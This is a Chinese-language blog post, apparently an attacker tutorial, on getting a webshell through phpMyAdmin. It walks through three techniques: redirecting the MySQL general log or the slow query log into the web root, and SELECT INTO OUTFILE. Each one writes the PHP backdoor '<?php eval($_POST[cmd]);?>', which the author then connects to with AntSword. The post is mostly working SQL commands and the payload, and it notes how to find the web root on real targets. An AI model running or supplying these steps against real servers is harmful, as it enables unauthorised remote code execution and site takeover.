利用phpmyadmin进行getshell
1、前提
需要知道网站的绝对路径,我是在本地用phpstudy搭建的所以网站根目录为D:\phpStudy\WWW,真实情况下我们可以利用网站报错或者一些中间件来获取网站根目录。
2、日志写入
(1)查看日志是否开启
1 | show variables like '%general%'; |
一般情况下这个日志记录是默认关闭的,需要我们手动开启。
(2)开启日志记录
1 | SET GLOBAL general_log='on'; |
(3)验证是否开启成功
3、修改日志
(1)指定日志文件位置
1 | set global general_log_file='D:/phpStudy/WWW/1.php'; |
(2)写入
1 | <?php eval($_POST[cmd]);?> |
(3)使用蚁剑连接
3、慢日志查询
如果登录了phpMyadmin没有办法直接写入文件,可以使用慢查询日志来进行文件写入。
1 | 简单的说就是在mysql中,查询超过10秒的语句会被写到慢查询日志文件中去,一般默认是不开启的。利用这个特性就可以进行文件写入。 |
(1)首先查询slow的配置。
1 | show variables like '%slow_query_log%'; |
(2)开启日志
1 | set global slow_query_log=1; |
(3)设置log日志的位置,设置为web目录下
1 | set global slow_query_log_file='D:/phpStudy/WWW/2.php'; |
(4)查看是否修改成功
1 | show variables like '%slow_query_log%'; |
(5)触发慢查询日志
1 | select '<?php eval($_POST[cmd]);?>' or sleep(11); |
(6)使用蚁剑连接
4、into outfile写入
(1)查看导出权限
1 | show global variables like 'secure%' |
说明
1 | secure_file_prive=null 限制mysqld 不允许导入导出 |
(2)利用into outfile写入一句话木马
1 | select ' <?php eval($_POST[cmd]);?>' into outfile 'D:/phpStudy/WWW/3.php'; |
利用蚁剑连接
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 xia0chen's blog!